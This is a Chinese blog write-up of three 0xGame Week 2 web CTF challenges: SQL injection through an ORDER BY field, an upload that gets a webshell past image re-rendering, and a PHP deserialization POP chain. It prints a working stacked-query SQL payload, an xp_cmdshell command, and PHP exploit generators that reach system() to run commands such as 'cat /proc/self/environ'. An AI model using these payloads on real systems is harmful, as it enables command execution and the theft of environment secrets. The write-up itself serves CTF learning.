0xGame-Week2-web

ez_sqli

image-20231019124601386

先找注入点,发现更改order by会有注入点

image-20231019124655192

image-20231019124736372

给了很多的提示,大致就是堆叠+报错+execute执行

很推荐去看一下https://xz.aliyun.com/t/10594#toc-5

image-20231019125806171

这个脚本就差不多是payload了,但ez_sqli把空格过滤了,可以用/**/绕过

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask, render_template, request
import MySQLdb
import re

blacklist = ['select', 'update', 'insert', 'delete', 'database', 'table', 'column', 'alter', 'create', 'drop', 'and', 'or', 'xor', 'if', 'else', 'then', 'where']//过滤的字符

conn = MySQLdb.connect(host='db', port=3306, user='root', passwd='root', db='ctf')

app = Flask(__name__)

@app.route('/')
def index():
field = request.args.get('order', 'id')
field = re.sub(r'\s+', '', field)//过滤了空格,用/**/绕过

for s in blacklist:
if s.lower() in field.lower():
return s + ' are banned'

if not re.match(r"id|name|email", field):
field = 'id'

with conn.cursor() as cursor:
cursor.execute('SELECT * FROM userinfo order by %s' % field)//数字型注入
res = cursor.fetchall()

return render_template('index.html', res=res)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)
#EXEC cmaster..xp_cmdshell%0c'ipconfig'
1
payload:id;set/**/@a=0x73656c656374206578747261637476616c756528312c636f6e63617428307837652c2873656c65637420666c61672066726f6d20666c6167292929;prepare/**/ctftest/**/from/**/@a;execute/**/ctftest;

image-20231019141057548

ez_upload

提示

image-20231019141210648

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
session_start();

$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';

if (!file_exists($user_dir)) {
mkdir($user_dir);
}

switch ($_FILES['file']['type']) {
case "image/gif":
$source = imagecreatefromgif($_FILES['file']['tmp_name']);
break;
case "image/jpeg":
$source = imagecreatefromjpeg($_FILES['file']['tmp_name']);
break;
case "image/png":
$source = imagecreatefrompng($_FILES['file']['tmp_name']);
break;
default:
die('Invalid file type!');
}

$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);#a.gif.php
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;

switch ($_FILES['file']['type']) {
case "image/gif":
imagegif($source, $filepath);
break;
case "image/jpeg":
imagejpeg($source, $filepath);
break;
case "image/png":
imagepng($source, $filepath);
break;
default:
die('Invalid file type!');
}

echo 'Upload avatar success! Path: '.$filepath;

$_SESSION['avatar'] = $filepath;
?>

根据源码的 $source = imagecreatefromgif($_FILES[‘file’][‘tmp_name’]);和imagegif($source, $filepath);可以知道是图像的二次渲染类型的文件上传漏洞。

根据$ext = pathinfo($_FILES[‘file’][‘name’], PATHINFO_EXTENSION);

$filepath = $user_dir.md5($_FILES[‘file’][‘name’]FILES[‘file’][‘name’], PATHINFO_EXTENSION);_只返回最后一个点号后面的后缀(如果文件是a.gif.php就返回php)

然后根据$filepath = $user_dir.md5($_FILES[‘file’][‘name’]).’.’.$ext;拼接到新文件的末尾。我们先根据图片二次渲染的文件上传知识点做一个一句话木马,具体可以参考https://blog.csdn.net/qq_40800734/article/details/105920149

然后进行抓包上传绕过

img

最后可以连接木马了

img

ez_unserialize

果然反序列化的题目都很烦,链子看着我头大

考点为:反序列化 fast destruct 绕过**__wakeup**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
<?php

class Cache {
public $key;
public $value;
public $expired;
public $helper;

public function __construct($key, $value, $helper) {
$this->key = $key;
$this->value = $value;
$this->helper = $helper;

$this->expired = False; // 并不影响,我们只需要在自己写的类理给这赋值为 True 即可
}

// public function __wakeup() {
// $this->expired = False; // 需要绕过
// }

public function expired() {
if ($this->expired) { // $expired = True
$this->helper->clean($this->key); // $helper = Helper的实例 , $key = "ls" / ["ls"]
return True;
} else {
return False;
}
}
}

class Storage {
public $store;

public function __construct() {
$this->store = array();
}

public function __set($name, $value) { // $value = Cache的实例
if (!$this->store) {
$this->store = array();
}

if (!$value->expired()) {
$this->store[$name] = $value;
}
}

public function __get($name) {
return $this->data[$name];
}
}

class Helper {
public $funcs; // "clean" => "system"

public function __construct($funcs) {
$this->funcs = $funcs;
}

public function __call($name, $args) { // $name = "clean"; $args = ["ls"]
$this->funcs[$name](...$args);
}
}

class DataObject {
public $storage; // storage 的实例
public $data; // []

public function __destruct() {
foreach ($this->data as $key => $value) {
$this->storage->$key = $value;
}
}
}

if (isset($_GET['u'])) {
$a = unserialize($_GET['u']);
// var_dump($a);
}
else{
show_source(__FILE__);
}
<?php

class Cache {
public $key;
public $value;
public $expired;
public $helper;
}

class Storage {
public $store;
}

class Helper {
public $funcs;
}

class DataObject {
public $storage; // storage 的实例
public $data;
}

$cache = new Cache();
$storage = new Storage();
$helper = new Helper();
$dataobject = new DataObject();

// $dataobject->storage = $storage;
// $dataobject->data = ["store" => ["clean" => "system"]];

// echo serialize($dataobject);

$cache->expired = True;
$cache->helper = $helper;
$cache->key = "cat /proc/self/environ";
$cache->value = "hack";

$helper->funcs = ["clean" => "system"];

$dataobject->storage = $storage;
$dataobject->data = ["test" => $cache];

echo serialize($dataobject);

最后的payload要在exp生成的字符串删去一个}实现 fast destruct

或者使用地址引用绕过__wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php

show_source(__FILE__);

class Cache {
public $key;
public $value;
public $expired;
public $helper;

public function __construct($key, $value, $helper) {
$this->key = $key;
$this->value = $value;
$this->helper = $helper;

$this->expired = False;
}

public function __wakeup() {
$this->expired =False;
// print(1);
}

public function expired() {
if ($this->expired) {
$this->helper->clean($this->key);//this->helper=Helper 2
return True;
} else {
return False;
}
}
}

class Storage {
public $store;

public function __construct() {
$this->store = array();
}

public function __set($name, $value) {
if (!$this->store) {
$this->store = array();
}

if (!$value->expired()) {
$this->store[$name] = $value;//3
}
}

public function __get($name) {
return $this->data[$name];
}
}

class Helper {
public $funcs;

public function __construct($funcs) {
$this->funcs = $funcs;
}

public function __call($name, $args) {
$this->funcs[$name](...$args); //1
}
}

class DataObject {
public $storage;
public $data;

public function __destruct() {
foreach ($this->data as $key => $value) {
$this->storage->$key = $value;//4 this->storage=Storage,key="xxx“,value=Cache
}
}
}
if (isset($_GET['u'])) {
unserialize($_GET['u']);
}
$helper=new Helper(array("clean"=>"system"));
$cache=new Cache("ls","xxx",$helper);
$storage=new Storage();
$dataobject=new DataObject();
$dataobject->data=array("store"=>array("x"=>"x"),"xx"=>$cache);
$dataobject->storage=$storage;
$cache->expired=&$storage->store;
echo serialize($dataobject);

POP 链子如下

1
DataObject::__destruct -->  Storage::__set --> Cache::expired --> Helper::__call

0xGame-Week2-web
http://www.qetx.top/posts/44209/
作者
Qetx.Jul.27
发布于
2023年10月19日
许可协议